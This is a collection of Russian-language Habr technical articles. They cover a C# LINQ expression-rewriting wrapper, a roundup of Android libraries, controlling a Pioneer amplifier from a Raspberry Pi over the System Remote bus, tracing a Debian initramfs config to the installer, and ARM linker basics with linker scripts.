throw new ArgumentNullException("source");
var queryable = source as IQueryable;
if (queryable != null)
return queryable;
var enumType = FindGenericType(typeof(IEnumerable<>), source.GetType());
if (enumType == null)
throw new ArgumentException("Source is not generic","source");
//здесь отличие от стандартной реализации метода AsQueryable()
return MaybeEnumerableQuery.Create(enumType.GetGenericArguments()[0], source);
}
private static Type FindGenericType(Type definition, Type type)
{
while (type != null && type != typeof(object))
{
if (type.IsGenericType && type.GetGenericTypeDefinition() == definition)
return type;
if (definition.IsInterface)
{
foreach (Type itype in type.GetInterfaces())
{
Type found = FindGenericType(definition, itype);
if (found != null)
return found;
}
}
type = type.BaseType;
}
return null;
}
}
```
Все отличие заключается в том, что вместо стандартного класса EnumerableQuery мы возвращаем свою реализацию MaybeEnumerableQuery, которая является оберткой вокруг EnumerableQuery:
```
public class MaybeEnumerableQuery: MaybeEnumerableQuery, IQueryProvider, IOrderedQueryable, IQueryable, IOrderedQueryable, IQueryable, IEnumerable, IEnumerable
{
private EnumerableQuery \_innerQuery;
public MaybeEnumerableQuery(IEnumerable enumerable)
{
\_innerQuery = new EnumerableQuery(enumerable);
}
public MaybeEnumerableQuery(Expression expression)
{
\_innerQuery = new EnumerableQuery(RewriteExpression(expression));
}
private Expression RewriteExpression(Expression expression)
{
var rewriter = new AddMaybeVisitor();
return rewriter.Visit(expression);
}
public IQueryable CreateQuery(Expression expression)
{
return ((IQueryProvider)\_innerQuery).CreateQuery(RewriteExpression(expression));
}
public IQueryable CreateQuery(Expression expression)
{
return ((IQueryProvider)\_innerQuery).CreateQuery(RewriteExpression(expression));
}
public object Execute(Expression expression)
{
return ((IQueryProvider)\_innerQuery).Execute(RewriteExpression(expression));
}
public TResult Execute(Expression expression)
{
return ((IQueryProvider)\_innerQuery).Execute(RewriteExpression(expression));
}
...
//я пропустил методы реализации интерфейсов, которые являются чистыми прокси с возвращением значения из \_innerQuery
}
```
При этом каждое получаемое выражение мы обрабатываем с помощью нашего ExpressionVisitor.
Пример использования:
```
IQueryable GetBooks()
{
List books = GetDataFromCache();
return books.AsMaybeQueryable();
}
...
var names = GetBooks.Select(c=>c.Author.Name).ToArray();
```
**Важное замечание:** Операция по переписыванию дерева выражений — не бесплатная. Она быстрая по сравнению с забором данных из бд, однако я бы не рекомендовал это решение использовать для работы чисто с IEnumerable. | https://habr.com/ru/post/256403/ | null | ru | null |
# 30 новых ресурсов для android-разработчика (лето 2017)
Компания EDISON Software профессионально занимается разработкой Android-приложений. Вот некоторые крупные проекты:
* [Мобильные приложения виртуального сотового оператора](https://www.edsd.ru/mobilnye-prilozheniya-virtualnogo-sotovogo-operatora)
* [Бронирование билетов на мероприятия](https://www.edsd.ru/razrabotka-oblachnyh-servisov-i-mobilnyh-prilozhenij-na-java#bronirovanie-biletov-na-meropriyatiya)
* [Сервис доставки банковских уведомлений на смартфоны](https://www.edsd.ru/servis-dostavki-bankovskih-uvedomlenij-na-smartfony)
* [Приложение Vivaldi для работы с электронной библиотекой](https://www.edsd.ru/prilozhenie-vivaldi-dlya-raboty-s-ehlektronnoj-bibliotekoj)
Полезные статьи на Хабре по Android:
* [Разработка быстрых мобильных приложений на Android. Часть первая](https://habrahabr.ru/company/edison/blog/271761/)
* [Разработка быстрых мобильных приложений на Android. Часть вторая](https://habrahabr.ru/company/edison/blog/271811/)
* [Шишки и грабли Android-разработчика за 2 года](https://habrahabr.ru/company/edison/blog/315070/)
*(Пост из серии «просмотреть и добавить в избранное»)*
### 1
[MaterialStepperView](https://github.com/fython/MaterialStepperView) — библиотека для использования [Steppers](https://material.io/guidelines/components/steppers.html) из Material Design Components.
### 2
[MultiSnapRecyclerView](https://github.com/TakuSemba/MultiSnapRecyclerView) — библиотека для сложных RecyclerView.
### 3
[Garland View for Android](https://github.com/Ramotion/garland-view-android) — библиотека для создания вот таких макетов:
### 4
[VegaLayoutManager](https://github.com/xmuSistone/VegaLayoutManager) — кастомизированный `LayoutManager` - тускнеет и сжимает при прокрутке. Создан по мотивам [Dribble project](https://dribbble.com/shots/3793079-iPhone-8-iOS-11).
### 5
[ExpandableLayout](https://github.com/iammert/ExpandableLayout) -название говорит само за себя. Основан на `LinearLayout`.
### 6
[SwipeBackLayout](https://github.com/gongwen/SwipeBackLayout) — библиотека управления жестами.
### 7
[SmartCropper](https://github.com/pqpo/SmartCropper) — «умное обрезание». Умеет выделять главное, выравнивать и отсекать задний фон.
### 8
[Date Range Picker](https://github.com/savvisingh/DateRangePicker) — продвинутый календарь с выбором диапазона дат.
### 9
[StoriesProgressView](https://github.com/shts/StoriesProgressView) — библиотека для сервиса Stories (Facebook and Instagram)
### 10
[CosmoCalendar](https://github.com/AppliKeySolutions/CosmoCalendar) — продвинутый кастамизируемый календарь. Можно менять ориентацию, цвет текста, кнопочки и пр.
### 11
[Reflow Text Animator](https://github.com/shazam/reflow-animator) — надеюсь, все слышали о приложении Plaid. Эта библиотека, разработанная командой Shazam Engineering, представляет собой порт Plaid's ReflowText, который позволяет легко переходить между текстовыми редакторами — независимо от их размера или стиля.
### 12
[AdaptiveIconPlayground](https://github.com/nickbutcher/AdaptiveIconPlayground) — это не библиотека, а автономное приложение для Android, разработанное Ником Батчером для экспериментов с [адаптивными иконками](https://developer.android.com/preview/features/adaptive-icons.html).
### 13
[Tivi](https://github.com/chrisbanes/tivi) — приложение, которое отслеживает телешоу и коннектится с Track.tv. Он разработан [Крисом Банесом](https://medium.com/@chrisbanes).
### 14
[RxIdler](https://github.com/square/RxIdler) — это IdlingResource для Espresso, который упаковывает RxJava Scheduler, разработанный Square Engineering. Он поддерживает RxJava 1 и RxJava 2.
### 15
[MRichEditor](https://github.com/Even201314/MRichEditor) — Это редактор «rich text» (на основе [summernote](https://github.com/summernote/summernote)).
### 16
[Android Clean Architecture Boilerplate](https://github.com/bufferapp/android-clean-architecture-boilerplate) — приложение для шаблонов, которое демонстрирует чистый архитектурный подход к приложениям Android, разработанным [Buffer](https://medium.com/@buffer) team и [Джо Берчем](https://medium.com/@hitherejoe).
### 17
[RxJava2Debug](https://github.com/akaita/RxJava2Debug) — если вы используете RxJava, вы знаете, что иногда трудно прочитать исключения и найти проблему в вашем Rx потоке.
### 18
[Resizer](https://github.com/hkk595/Resizer) — библиотека для масштабирования изображения. Он позволяет изменять размер файла изображения, сохраняя пропорции.
Создана по следам [Compressor](https://github.com/zetbaitsu/Compressor).
*Спецификация библиотеки:*
> Minimum SDK: API 21
>
>
>
> Default settings:
>
> targetLength: 1080
>
> quality: 80
>
> outputFormat: JPEG
>
> outputDirPath: the external files directory of your app
>
>
>
> Supported input formats:
>
> BMP
>
> GIF
>
> JPEG
>
> PNG
>
> WEBP
>
>
>
> Supported output formats:
>
> JPEG
>
> PNG
>
> WEBP
>
>
>
> Supported quality range: 0~100
>
> The higher value, the better image quality but larger file size
>
> PNG, which is a lossless format, will ignore the quality setting
### 19
[FaceDetector](https://github.com/Fotoapparat/FaceDetector) — библиотека позволяет обнаруживать лица в режиме реального времени при предварительном просмотре камеры. Она отлично работает с библиотекой Fotoapparat, и еще поддерживает другие библиотеки и источники.
### 20
[RxGps](https://github.com/florent37/RxGps) — еще одна библиотека от Florent Champigny. Легко определяет текущее местоположение. Совместима с RxJava2. Она также автоматически запрашивает разрешения на запуск в режиме реального времени и проверяет, доступны ли вам игровые сервисы.
### 21
[MapMe](https://github.com/TradeMe/MapMe) — библиотека для работы с Картами. MapMe упрощая управление маркерами и аннотациями.
### 22
[RevelyGradient](https://github.com/revely-inc/co.revely.gradient) — библиотека для простого управления градиентом.
### 23
[LiteUtilities](https://github.com/gurleensethi/LiteUtilities) — библиотека, написанная на Kotlin, которая помогает улучшить ваш код.
* [RecyclerUtils](https://github.com/gurleensethi/LiteUtilities#recyclerutils) — Упрощает работу с «адаптерами».
* [ScrollUtils](https://github.com/gurleensethi/LiteUtilities#scrollutils) — Легко скрыть/показать FloationActionButton при прокрутке при использовании RecyclerView или NestedScrollView.
* [ToastUtils](https://github.com/gurleensethi/LiteUtilities#toastutils) — Создание «тостов».
* [SPUtils](https://github.com/gurleensethi/LiteUtilities#sputils) — Простой DSL для Shared Preferences.
* [ValidatorUtils](https://github.com/gurleensethi/LiteUtilities#validatorutils) — Быстрая и простая проверка текста
* [LogUtils](https://github.com/gurleensethi/LiteUtilities#logutils) — Легко и просто работать с логами.
### 24
[KOIN](https://github.com/Ekito/koin) — фреймворк для внедрения зависимостей.
### 25
[koptional](https://github.com/gojuno/koptional) — тип `Optional` для Kotlin.
### 26
[Parallax](https://github.com/imablanco/Parallax) — параллакс `View` для Android, имитирующий Apple TV App Icons.
### 27
[droid-vizu](https://github.com/wotomas/droid-vizu) — кастамизированные эффекты визуализации.
### 28
[Drone](https://github.com/cesarferreira/drone) — менеджер библиотеки, предоставленный [César Ferreira](https://medium.com/@cesarmcferreira). Написано в отместку сообществу node.js с их быстрыми и надежными менеджерами зависимостей.
### 29
[From-design-to-Android-part2](https://github.com/saulmm/From-design-to-Android-part2) — крутейшая статья про дизайн для Android.
### 30
[Reagent](https://github.com/JakeWharton/Reagent) — то место Джейк Уортон ([Jake Wharton](https://medium.com/@jakewharton)) проводит эксперименты для будущих библиотекю | https://habr.com/ru/post/338904/ | null | ru | null |
# RaspberryPi + Pioneer System Remote
 В статье кратко описана шина Pioneer System Remote (SR), представлены схема подключения RaspberryPi к шине System Remote и CLI программа на языке C для RaspberryPi, управляющая усилителем Pioneer M-10X через GPIO. В качестве разоблачения приведён способ применения этой программы.
В двух словах о Pioneer System Remote
-------------------------------------
Некоторые домашние аудио/видео компоненты производства Pioneer Corporation могут быть соединены друг с другом шиной управления, которая называется SR (аббревиатурное сокращение от System Remote). Целью такого объединения отдельных компонентов в единую систему является, конечно же, удобство потребителя, ведь при этом целой грядкой устройств можно управлять с одного пульта ДУ.
 Коннекторы этой шины обозначаются как *CONTROL IN* и *CONTROL OUT* и выполнены в виде моно гнёзд mini jack 3.5мм. Поэтому соединения блоков по шине SR можно производить обычными двухконтактными аудио кабелями с моно штекерами mini plug 3.5мм (разъём типа TS, от Tip-Sleeve). Устройства соединяются последовательно, гирляндой: выход *CONTROL OUT* одного компонента соединяется с входом *CONTROL IN* другого. Контакт *Tip* разъёма несёт собственно сигнал шины SR, а вот с контактом *Sleeve* дело чуть сложнее. На некоторых компонентах (например, усилитель M-10X) здесь честная «земля», и тогда всё как положено: *Tip* — сигнал, *Sleeve* — «земля». Но есть компоненты (как правило, проигрыватели), которые используют контакт *Sleeve* разъёма шины SR для передачи цифрового аудио сигнала. В этом случае «земля» берется с корпуса компонента или с «земли» аналогового аудио разъёма. На самом деле, если «земли» компонентов каким-либо образом соединены, то про контакт *Sleeve* разъёма шины SR можно вообще забыть.
Управляющие коды шины SR являются ни чем иным, как демодулированными сигналами пульта ДУ. То есть шина SR это попросту проводной ретранслятор очищенных от несущей частоты IR команд. (В IR пультах модуляция кодов управления несущей частотой ~40кГц применяется для того, чтобы, во-первых, снизить энергозатраты на передачу и увеличить срок службы батареек пульта, а во-вторых, иметь возможность отстраиваться от сигналов чужих пультов ДУ). При поступлении IR команды от пульта ДУ активный SR-приёмник осуществляет ретрансляцию этой команды по шине SR. Команду видят все устройства, подключенные к шине. Компоненты производства Pioneer Corporation могут быть оснащенны одним разъемом шины SR (только входом либо только выходом), или двумя — и входом, и выходом. Вход, *CONTROL IN*, характеризуется наличием интерпретатора команд (специальной микросхемы; например, в усилителе M-10X это микросхема PD5637A), который и отвечает за декодирование и исполнение команд устройством. Однако следует заметить, что System Remote является именно общей шиной, и коды управления ретранслируются как на выходы *CONTROL OUT*, так и на входы *CONTROL IN*.
В простейшем случае управляющие коды являются двухбайтовыми, где первый байт это тип устройства, а второй байт — собственно код команды для исполнения на этом типе устройств. Ниже для справки приведен список типов устройств шины SR (первый байт команды управления):
* 0x73 Projectors
* 0xA1 Tape decks (Blu-ray Players)
* 0xA2 CD Players
* 0xA3 DVD Players
* 0xA4 Tuners
* 0xA5 Amplifiers (AV Receivers)
* 0xA8 Laserdisc Players
* 0xAB Video Recorders (DVD Recorders)
* 0xAA Plasma Displays
Устройства на шине SR не имеют выделенных адресов, шина не является адресной. Поэтому, например, если к шине подключены два CD проигрывателя, то многие команды с типом устройства 0xA2 будут выполнять оба проигрывателя одновременно. Кодов команд много, наборы команд зависят от типа устройства, года выпуска и даже от модели компонента. На одном из сайтов Pioneer Corporation, в разделе Custom Install по этой [ссылке](http://www.pioneerelectronics.com/PUSA/Support/Home-Entertainment-Custom-Install) можно скачать коды устройств и команд управления для некоторых конкретных моделей.
Протокол передачи информации по шине System Remote довольно прост. Каждый компонент на контакте *Tip* разъёмов шины поддерживает +5В (TTL логика). Для отправки фрейма информации нужно в определённой последовательности и с определённой длительностью подавать на контакт *Tip* шины SR потенциал «земли» (0В). Pioneer, как и многие японские производители, использует в IR командах схему кодирования длительностью бита (bit-width codification), когда логический ноль кодируется импульсом длительностью 0,56мс а затем паузой 0,56мс, а логическая единица кодируется импульсом длительностью 0,56мс а затем паузой 1,68мс.
**Рисунок 1. Кодирование длительностью бита.**
Структура фрейма шины SR для двухбайтовых команд следующая:
* заголовок фрейма: в течение 9мс на шине удерживается потенциал 0В (пульс), затем в течение 4,5мс потенциал +5В (пауза)
* 8 бит: код типа устройства
* 8 бит: побитовое отрицание кода типа устройства
* 8 бит: код команды
* 8 бит: побитовое отрицание кода команды
* 1 бит: стоп-бит
На рисунке ниже приведена осциллограмма фрейма 0xA55A38C7 шины SR, передающего команду power toggle (код команды 0x38) усилителю (код типа устройства 0xA5):
**Рисунок 2. Фрейм 0xA55A38C7 шины System Remote.**
Усилитель Pioneer M-10X
-----------------------
 Это усилитель мощности, из органов управления он имеет всего две кнопки: механическую кнопку Power и электронную кнопку Standby. Не густо. Но, к счастью, ещё он оборудован входом *CONTROL IN* шины System Remote и понимает три команды:* цикл питания (power toggle) 0xA538
* включить питание (power on) 0xA558
* выключить питание (power off) 0xA5D8
Подключение RaspberryPi к шине Pioneer System Remote
----------------------------------------------------
Шина System Remote имеет TTL логику, напряжение меняется в диапазоне от 0В до +5В. На выводах же GPIO RaspberryPi напряжение может меняться в диапазоне от 0В до +3,3В, при этом защиты от перенапряжения для этих выводов на плате не предусмотрено. Поэтому напрямую управлять шиной SR с вывода GPIO нельзя, необходимо использовать преобразователь уровня.
Представленная здесь схема и является таким преобразователем. База транзистора Q1 через резистор R1 подключается к ножке P1-11 (GPIO17) RPi, коллектор транзистора через резистор R2 — к ножке P1-02 (5V) RPi, а эмиттер транзистора — к ножке P1-20 (GND) RPi. Программно управляя выводом GPIO17 (база транзистора Q1), на контакте Tip клеммника J1 (коллектор транзистора Q1) получаем сигнал нужного уровня для управляющих команд шины System Remote. Резистор R1 служит ограничителем тока базы, а резистор R2 — ограничителем тока коллектора транзистора. Когда на базе транзистора 0В (GPIO17 = 0), транзистор закрыт и на эмиттере удерживается потенциал +5В; когда на базе транзистора +3,3В (GPIO17 = 1), транзистор открыт и на эмиттере удерживается потенциал 0В. Поэтому, строго говоря, эта схема является инвертором сигнала с преобразованием уровня. На **Рисунке 2** выше показаны осциллограммы работающей схемы: на верхнем графике — сигнал на коллекторе транзистора (шина SR), на нижнем графике — сигнал на базе транзистора (ножка GPIO17; реальный диапазон этого сигнала от 0В до +3,3В).
Для реализации схемы понадобятся:
* контактная макетная плата
* транзистор КТ3102 (Q1)
* резистор 1кОм (R1)
* резистор 10кОм (R2)
* клеммник с шагом контактов 2,54мм, для установки в макетную плату (J1)
* моно штекер mini plug 3.5мм (разъём типа TS)
* провода
Чтобы не возиться с пайкой штекера, можно вместо него взять готовый моно кабель с mini plug 3.5мм, отрезать коннектор с одной стороны, а проводники подключить к клеммнику J1.
Внимание! Будьте очень осторожны с пятивольтовыми ножками RaspberryPi (P1-02 и P1-04), ни в коем случае не закоротите случайно эти контакты с другими ножками платы, так как это выведет её из строя.
Программа управления питанием усилителя Pioneer M-10X для RaspberryPi
---------------------------------------------------------------------
Исходный код программы для платформы Raspbian находится по этой [ссылке](https://gist.github.com/photon-m/2fcb9a5e619af93baad1). Код содержит вызов *nice(-19)*, поэтому программа должна вызываться суперпользователем root. Для сборки программы нужно использовать команду:
```
gcc -o m10xptgl m10xptgl.c
```
После сборки нужно создать две символические ссылки с альтернативными именами m10xpon и m10xpoff на исполняемый файл:
```
ln -s m10xptgl m10xpon
ln -s m10xptgl m10xpoff
```
Программа генерирует на ножке GPIO17 фрейм управляющей команды для усилителя Pioneer M-10X. Фактическое действие программы (генерируемый фрейм) зависит от имени, под которым программа запущена:
* при запуске с именем *m10xpon* происходит включение усилителя (выход из состояния Standby, фрейм 0xA55A58A7)
* при запуске с именем *m10xpoff* происходит выключение усилителя (переход в состояние Standby, фрейм 0xA55AD827)
* при запуске с именем *m10xptgl* происходит переключение состояния питания усилителя (команда power toggle, фрейм 0xA55A38C7)
В качестве необязательного аргумента программе можно указать целое число, в этом случае фрейм будет последовательно повторён столько раз, сколько задано аргументом командной строки.
В целом проект простой, не сложнее учебного проекта по миганию светодиодом, только тут мы «мигаем» целым усилителем Pioneer.
Применение
----------
Описанные в статье схему и программу удобно использовать, например, вместе с проектом [shairport](https://github.com/abrasive/shairport), потому что при этом мы получаем не только функцию AirPlay на старом усилителе, но и автоматическое включение и выключение усилителя on demand.
Собрать проект *shairport* из исходных кодов можно при помощи последовательности следующих команд:
```
apt-get install avahi-daemon mdns-scan libssl-dev libavahi-client-dev libasound2-dev
apt-get install libao4 libao-dev
apt-get install pulseaudio libpulse-dev
cd /root/src; git clone --depth 1 https://github.com/abrasive/shairport.git shairport
cd shairport
./configure
make
```
А запускать так:
```
shairport -v --name="M10X" --on-start="/usr/local/sbin/m10xpon 10" --on-stop="/usr/local/sbin/m10xpoff 10"
```
Спасибо за внимание. | https://habr.com/ru/post/226667/ | null | ru | null |
# Откуда этот конфиг? [Debian/Ubuntu]
Цель этого поста: показать технику отладки в debian/ubuntu, связанную с "поиском первоисточника" в системном конфигурационном файле.
Тестовый пример: после долгих издевательств над tar.gz копией установленной ОС и после её восстановления и установки апдейтов мы получаем сообщение:
```
update-initramfs: Generating /boot/initrd.img-4.15.0-54-generic
W: initramfs-tools configuration sets RESUME=/dev/mapper/U1563304817I0-swap
W: but no matching swap device is available.
I: The initramfs will attempt to resume from /dev/dm-1
I: (/dev/mapper/foobar-swap)
I: Set the RESUME variable to override this.
```
Цель: понять, откуда это значение (U1563304817I0) пришло и как его правильно поменять. *Это первый попавшийся пример, не особо интересный сам по себе, но удобный, чтобы показать практические методы работы с Linux*.
Шаг номер 1: Откуда пришёл RESUME?
==================================
```
# cd /etc
# grep -r RESUME
initramfs-tools/conf.d/resume:RESUME=/dev/mapper/U1563304817I0-swap
```
Мы рекурсивно (`-r`) ищем упоминание этой переменной в каталоге /etc (там, где большинство конфигов). Мы находим conf.d сниппет, который явно используется пакетом initramfs-tools.
Откуда этот сниппет?
====================
Есть три варианта:
1. Магический артефакт (кто-то положил и забыл)
2. Конфиг из пакета
3. Конфиг, сгенерированный каким-то скриптом из системных пакетов
Проверяем №2 (как самый простой):
```
dpkg -S initramfs-tools/conf.d/resume
dpkg-query: no path found matching pattern *initramfs-tools/conf.d/resume*
```
`dpkg -S` позволяет нам поискать по базе установленных файлов и найти к какому пакету файл относится. Вот пример удачного поиска:
```
dpkg -S resolv.conf
manpages: /usr/share/man/man5/resolv.conf.5.gz
systemd: /lib/systemd/resolv.conf
```
Возвращаемся к нашей задаче: файл `initramfs-tools/conf.d/resume` не устанавливается в систему из пакета. Может быть он генерируется в postinst/preinst скрипте пакета? Проверяем версию номер 3.
```
# cd /var/lib/dpkg/info/
# grep -r initramfs-tools/conf.d/resume *
initramfs-tools-core.postrm: rm -f /etc/initramfs-tools/conf.d/resume
```
В каталоге `/var/lib/dpkg/info/` лежат распакованные версии всех "метафайлов" пакетов (скрипты установки/удаления, описания пакетов и т.д.). Удивительно, но этот файл удаляется в postrm (при удалении) пакета initramfs-tools-core. Посмотрим содержимое его postinst… Ничего, касающегося conf.d директории.
Давайте посмотрим на файлы из состава пакета `initramfs-tools-core`.
```
# dpkg -L initramfs-tools-core
...
/usr/share/initramfs-tools/hooks/resume
...
```
Команда `dpkg -L` позволяет посмотреть все файлы, которые есть в системе от указанного пакета. Я выделил интересный для изучения файл. Изучение файла показывает как эта переменная используется, но не отвечает откуда он появляется.
debconf
=======
Получается, это чей-то артефакт. Чей? Перед тем, как нырять в инсталлятор, глянем ещё в одну важную инфраструктуру Debian — ответы на вопросы. Каждый раз, когда пакет задаёт вопрос, и во многих случаях, когда он вопроса не задаёт, но использует вариант по-умолчанию, и вопрос, и ответ фиксируются в специальной базе в Debian, которая называется debconf. Мы можем посмотреть на базу ответов (и даже выставить их до установки самого пакета — `debconf-set-selections`), для этого нам потребуется утилита `debconf-get-selections` из состава `debconf-utils`. К сожалению, ничего интересного не нашлось: (`debconf-get-selections |grep -i resume` вернул пусто).
debian-installer
================
У установщика есть своя база ответов на вопросы: `/var/log/installer/cdebconf/questions.dat`. К сожалению, там тоже нет ни слова про наш resume.
Зато рядом есть логи, в т.ч. syslog, куда пишется весь лог инсталляции. Там упоминается пакет base-installer, и на его [странице](https://packages.debian.org/buster/base-installer) мы можем видеть ссылку на сырцы.
Внутри них мы с лёгкостью находим ответ на наш вопрос:
```
resume="$(mapdevfs "$resume_devfs")"; then
...
if [ "$do_initrd" = yes ]; then
...
resumeconf=$IT_CONFDIR/resume
....
echo "RESUME=$resume" >> $resumeconf
```
mapdevfs — это утилита с понятным назначением, а интересная нам функция это `get_resume_partition`, которая читает /proc/swaps и выбирает там самую большую. Swap же у нас приходит от partman'а.
Ответ на наше тестовое задание: файл создаётся инсталлятором в /target'е в момент установки, т.е. мы говорим про well-known, но артефакт. В существующих в системе пакетах нет никого и ничего, чтобы меняло этот файл.
Подводя итог
============
1. dpkg и debconf — основные методы для поиска поставщиков файлов.
2. поиск в /var/lib/dpkg/info позволяет увидеть операции над файлами на этапе установки.
3. Установщик может создавать файлы-артефакты, которые потом никем никогда не меняются (кроме пользователя), и это можно увидеть в коде установщика. | https://habr.com/ru/post/461033/ | null | ru | null |
# ARM ассемблер (продолжение)
Доброго времени суток, хабражители. Вдохновившись статьёй [ARM аccемблер](http://habrahabr.ru/post/133808/), решил для интересующихся и таких же начинающих, как я, продолжить эту статью. Исходя из названия становится понятно, что перед тем, как читать эту статью, желательно прочесть вышеуказанную. Итак, «продолжим».
Мой случай будет отличаться от предыдущего следующим:
* у меня на машине ubuntu 12.04
* arm toolchain я брал от [сюда](http://www.mentor.com/embedded-software/sourcery-tools/sourcery-codebench/editions/lite-edition/)(выбрать ARM Processors — Download the GNU/Linux Release). На момент написания статьи появились более свежие версии, но я использовал arm-2012.09(arm-none-linux-gnueabi toolchain)
* устанавливал так:
*$ mkdir ~/toolchains
$ cd ~/toolchains
$ tar -jxf ~/arm-2012.09-64-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2*
* добавлял для упрощения дальнейших действий наш тулчейн в PATH
*$ PATH=$HOME/toolchains/arm-2012.09/bin:$PATH*
* установка qemu в ubuntu
*$ sudo apt-get install qemu
$ sudo apt-get install qemu-system*
В принципе, никаких критических изменений относительно случая в статье-«родителе» нет.
Флэш-память, в которой хранилась программа из предыдущей статьи, является своего рода EEPROM (перепрограммируемое ПЗУ с электрическим стиранием). Это полезная «вторичная» память, применяемая обычно как жесткий диск, но неудобная для хранения переменных. Переменные должны быть сохранены в ОЗУ, чтобы их можно было легко изменять.
Эмулируемая пакетом QEMU плата имеет 64 МБ оперативной памяти, начинающейся с адреса 0xA000 0000, в которую можно сохранять переменные. Карту памяти эмулируемой платы можно изобразить на рисунке
Чтобы разместить переменные начиная с этого адреса, нужно предпринять специальные меры. Чтобы понять, что именно требуется сделать, нужно понимать роль, которую играет компоновщик (линкер).
Компоновщик
-----------
Во время трансляции программы, состоящей из нескольких файлов исходного текста, каждый такой файл преобразовывается в объектный. Компоновщик объединяет эти объектные файлы в конечный исполняемый файл.
Во время компоновки линкер выполняет следующие операции:
1. Разрешение символов
2. Перемещение
#### Разрешение символов
В ходе преобразования исходного файла в объектный код транслятор заменяет все ссылки на метки соответствующими адресами. В многофайловой программе, если в модуле есть какие-либо ссылки на внешние метки, определенные в другом файле, ассемблер помечает их как «нерешённые». Когда эти объектные файлы передаются компоновщику, он определяет значения адресов таких ссылок из других объектных файлов и исправляет код на правильные значения.
Рассмотрим пример, вычисляющий сумму элементов массива – специально разделенный на два файла, чтобы было наглядно видно выполняемое компоновщиком разрешение символов. Для демонстрации наличия нерешенных ссылок соберем оба файла и проверим их таблицы символов.
Файл sum-sub.s содержит подпрограмму sum, а файл main.s вызывает подпрограмму с требуемым аргументам. Исходные файлы приведены ниже.
**main.s**
`.text`
`b start`
`arr: .byte 10, 20, 25 @ Массив байт (только для чтения)`
`eoa: @ Адрес конца массива + 1`
`.align`
`start:`
`ldr r0, =arr @ r0 = &arr`
`ldr r1, =eoa @ r1 = &eoa`
`bl sum @ Вызов подпрограммы sum`
`stop: b stop`
**sum-sub.s**
`@ Аргументы`
`@ r0: Начальный адрес массива`
`@ r1: Конечный адрес массива`
`@ Результат`
`@ r3: Сумма элементов массива`
`.global sum`
`sum: mov r3, #0 @ r3 = 0`
`loop: ldrb r2, [r0], #1 @ r2 = *r0++; Загрузка элемента массива`
`add r3, r2, r3 @ r3 += r2; Вычисление суммы`
`cmp r0, r1 @ if (r0 != r1); Проверка на конец массива`
`bne loop @ Цикл, аналог «goto loop» архитектуры х86`
`mov pc, lr @ pc = lr; Возврат по окончании`
С помощью директивы `.global` мы задали видимость объявленных в функции переменных для других файлов. Скомпилировав файлы и просмотрим таблицу символов с помощью команды *nm*.
*$ arm-none-linux-gnueabi-nm main.o*
*00000004 t arr
00000007 t eoa
00000008 t start
00000014 t stop
U sum*
*$ arm-none-linux-gnueabi-nm sum-sub.o
00000004 t loop
00000000 T sum*
Одиночная буква во второй колонке определяет тип символа. Тип «t» означает, что символ определён в секции .text. Тип «u» определяет, что символ не определён. Заглавная буква определяет принадлежность к типу доступа .global. Очевидно, что символ sum определён в sum-sub.o и не описан в main.o, в расчете на то, что позже компоновщик преобразует символьные ссылки и создаст на выходе исполняемый файл.
#### Перемещение
Перемещение – процесс изменения адреса, уже заданного метке ранее, а также исправления всех ссылок для отражения вновь назначенных адресов. В первую очередь, перемещение осуществляется по следующим двум причинам:
1. Слияние секций
2. Размещение секций в исполняемом файле
Для понимания процесса перемещения важно понимать, что такое секции.
В момент выполнения программы код и данные могут обрабатываться по-разному: если, код можно разместить в ПЗУ (ROM, read-only memory), то для данных может потребоваться как чтение из памяти, так и запись. Удобнее всего, если код и данные не чередуются, и именно поэтому программы разделены на секции. Большинство программ имеют хотя бы две секции: .text для кода и .data для работы с данными. Для переключения между двумя секциями используются директивы ассемблера .text и .data.
Когда ассемблер встречает какую-нибудь директиву секции, он кладёт код или данные, следующие за ней, в соответствующую область памяти. Таким образом, код и данные, которые относятся к одной секции, оказываются в смежных ячейках. Процесс наглядно показан на следующем рисунке
###### Слияние секций
В многофайловых программах секции с одинаковыми именами (например .text) могут оказаться в разных файлах. Компоновщик отвечает за слияние секций из входных файлов в секции выходного файла. По умолчанию секции с одинаковым именем из каждого файла размещаются по-порядку, а ссылки на метки корректируются значением нового адреса.
Результат слияния секций можно наблюдать с помощью таблицы символов объектных файлов и соответствующего исполняемого файла. Ниже результат слияния показан на примере программы вычисления суммы массива:
*$ arm-none-linux-gnueabi-ld -Ttext=0x0 -o sum.elf main.o sum-sub.o
$ arm-none-linux-gnueabi-nm sum.elf
00000004 t arr
…
00000007 t eoa
00000024 t loop
00000008 t start
U \_start
00000014 t stop
00000020 T sum*
Символ loop имеет адрес 0x4 в файле sum-sub.o и 0x24 в sum.elf, так как секция .text файла sum-sub.o переместилась и располагается сразу после секции .text файла main.o.
###### Размещение секций в исполняемом файле
Когда программа скомпилирована, предполагается, что каждая секция начинается с адреса 0, а меткам приписываются значения относительно начала секции. При создании исполняемого файла секции помещаются по некоторому адресу X, а затем ссылки на метки, определённые в секции, увеличиваются на величину X.
Размещение каждой секции в конкретной области памяти и исправление всех ссылок на метки в секции производятся компоновщиком.
Результат размещения секций можно наблюдать из таблиц символов объектных и исполняемого файлов. Для лучшего понимания разместим секцию .text по адресу 0x100. В результате адрес секции .text будет в исполняемом файле на 100 больше. Процесс объединения (section merging) и размещения (section placement) секций показан на схеме.
Скрипт-файлы компоновщика
-------------------------
Как упоминалось ранее, объединение и размещение секций выполняет компоновщик. Тем, как объединяются и в какой области памяти размещаются секции, можно управлять через скрипт-файл компоновщика. Ниже приведён пример очень простого скрипта, ключевые места которого помечены цифровыми метками.
`SECTIONS { ❶`
`. = 0x00000000; ❷`
`.text : { ❸`
`abc.o (.text);`
`def.o (.text);`
`} ❹`
`}`
❶ SECTIONS – самая важная команда компоновщика, она определяет, как будут объединены секции, и куда они должны быть помещены.
❷ В блоке, следующем после команды SECTIONS, указываетсячч число – счётчик расположений. По умолчанию расположение всегда инициализируется значением 0x0, но указанием другого значения можно изменить инициализацию. В данном случае установка нами значения в ноль — излишнее действие.
❸-❹ Эта часть скрипта определяет, что секции .text из исходных файлов abc.o и def.o должны перейти в секцию .text выходного файла.
Скрипты компоновщика могут быть дополнительно упрощены и обобщены введением сивлола «\*» вместо указания имён файлов:
`SECTIONS {`
`. = 0x00000000;`
`.text : { * (.text); }`
`}`
Если программа содержит обе секции .text и .data, то объединение и размещение секции .data может быть выполнено, как показано ниже:
`SECTIONS {`
`. = 0x00000000;`
`.text : { * (.text); }`
`. = 0x00000400;`
`.data : { * (.data); }`
`}`
